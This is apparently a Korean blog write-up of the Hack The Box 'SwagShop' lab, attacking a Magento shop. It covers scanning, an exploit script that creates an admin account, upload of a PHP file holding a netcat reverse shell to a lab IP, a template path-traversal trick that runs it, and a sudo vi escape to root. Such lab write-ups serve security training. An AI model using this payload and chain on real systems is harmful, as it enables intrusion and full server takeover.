정보보안

SwagShop 본문

HTB/Linux

SwagShop

haru0909 2023. 9. 10. 03:14

1. nmap

$ nmap -T5 -p- -Pn -n --open --max-retries 2 10.129.67.137 -sV -sC -oA fullscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 10:34 KST
Nmap scan report for 10.129.67.137
Host is up (0.097s latency).
Not shown: 45970 filtered tcp ports (no-response), 19563 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2. gobuster

$ gobuster dir -u http://10.129.67.137 -w /usr/share/wordlists/dirb/common.txt -o common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.67.137
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/09/04 10:37:55 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 292]
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd            (Status: 403) [Size: 297]
/app                  (Status: 301) [Size: 312] [--> http://10.129.67.137/app/]
/errors               (Status: 301) [Size: 315] [--> http://10.129.67.137/errors/]
/favicon.ico          (Status: 200) [Size: 1150]
/includes             (Status: 301) [Size: 317] [--> http://10.129.67.137/includes/]
/index.php            (Status: 302) [Size: 0] [--> http://swagshop.htb/]
/js                   (Status: 301) [Size: 311] [--> http://10.129.67.137/js/]
/lib                  (Status: 301) [Size: 312] [--> http://10.129.67.137/lib/]
/media                (Status: 301) [Size: 314] [--> http://10.129.67.137/media/]
/pkginfo              (Status: 301) [Size: 316] [--> http://10.129.67.137/pkginfo/]
/server-status        (Status: 403) [Size: 301]
/shell                (Status: 301) [Size: 314] [--> http://10.129.67.137/shell/]
/skin                 (Status: 301) [Size: 313] [--> http://10.129.67.137/skin/]
/var                  (Status: 301) [Size: 312] [--> http://10.129.67.137/var/]
Progress: 4602 / 4615 (99.72%)
===============================================================
2023/09/04 10:39:01 Finished
===============================================================

/mage : PHP5를 사용하는 것을 확인할 수 있었음

shell: 이름이 수상하다.

/var/session: session을 저장해둔다. 9월 6일은 모두 내 것일테니 패스하고,

6월 29일 거만 확인하면 될 거 같다. --> 하지만 안 됨

3. Magento

gobuster 스캔 결과로 나온 path를 하나씩 접근해보다가 Mage_All_Latest.txt라는 것을 발견함.

Mage_All.txt와는 약간 패키지가 다르다. 이것도 힌트일까? --> 아니!

MAGENTO라는 게 여기 도메인 이름인 줄로만 알았는데 무슨 애플리케이션인가보다 싶어서 searchsploit을 진행.

$ searchsploit magento
------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                    |  Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection                                                      | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)                           | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting                | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting          | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                                         | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                                                    | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution                                                      | php/webapps/37811.py
Magento eCommerce - Local File Disclosure                                                                         | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                                                                         | xml/webapps/37977.py
Magento eCommerce CE v2.3.5-p2 - Blind SQLi                                                                       | php/webapps/50896.txt
Magento Server MAGMI Plugin - Multiple Vulnerabilities                                                            | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                                       | php/webapps/35052.txt
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass                                      | php/webapps/48135.php
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

버전만 확인되면 될 것 같다.

그러다 갑자기 생각난 게 있었다.

burp에서 서버 응답 값 확인하다가 E-commerce라는 단어를 봤던 거 같아 확인해보니 맞았다.

Magento eCommerce RCE가 가능하겠다.

CVE-2015-1397 (37977.py)

스크립트 수정이 필요하다.

1. target에는 대상 url을 적어준다. !!!주의!!! 뒤에 index.php를 붙여주어야 함 // 한참 맴

2. query의 username과 password에 원하는 id:pw를 적어준다. 원한다면

스크립트를 실행해주자 WORKED가 출력됐다.

jujjing:jujjing으로 admin 권한의 계정이 생성된 것이다.

출력된 경로로 이동하면 admin page가 등장한다.

생성된 계정으로 로그인을 시도한다.

관리자페이지 로그인에 성공했다.

RCE via File Upload

magento의 취약점 중 하나인 File Upload를 통해 RCE를 진행한다.

우선 업로드 파일을 실행하기 위해 Allow Symlinks 설정을 Yes로 변경한다.

이후 php RCE 파일을 하나 만든다.

$ echo '<?php' 
$ echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444>/tmp/f");' >> shell.php.png>> shell.php.png
$ echo '?>' >> shell.php.png
$ cat shell.php.png
<?php
passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 10.10.14.25 4444>/tmp/f");
?>

Catalog -> Manage Categories -> Add Root Category에 생성한 php 파일을 업로드한 후 저장한다.

이제 파일 실행을 위해 Newsletter -> Add New Template에 접속한다.

기본으로 로드되었던 {{var subscriber.getUnsubscriptionLink()}} 구문을 빼고 대신에 아까 올린 php 파일을 불러오도록 하는 템플릿 태그를 작성한다. 이후 Preview Template를 클릭하여 실행한다.

{{block type='core/template' template='../../../../../../media/catalog/category/shell.php.png}}

쉘을 획득하였다.

python3 -c 'import pty; pty.spawn("/bin/bash")'로 bash로 변경해준다.

다행히 www-data로도 haris의 user.txt를 가져올 수 있다.

 

Privilege Escalation

sudo -l으로 현재 user의 sudo 권한을 확인하고 어떤 명령을 수행할 수 있는지 확인한다.

root 권한으로 /usr/bin/vi /var/www/html/*명령을 실행할 수 있음을 확인했다.

www-data@swagshop:/var/www/html$ sudo -l 
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

 

 

따라서 root권한으로 /var/www/html/index.php를 연 후에 :!/bin/bash을 통해 vim 편집기를 빠져나와 셸을 실행하는 시나리오를 수행한다.

www-data@swagshop:/tmp$ sudo /usr/bin/vi /var/www/html/index.php
:!/bin/bash
root@swagshop:/tmp# cat /root/root.txt
1c6d9b51a04...

'HTB > Linux' 카테고리의 다른 글

Poison  (0) 2023.09.11
Networked  (0) 2023.09.10
SolidState  (0) 2023.09.05
Valentine(heartbleed)  (0) 2023.09.03
Sense  (0) 2023.09.01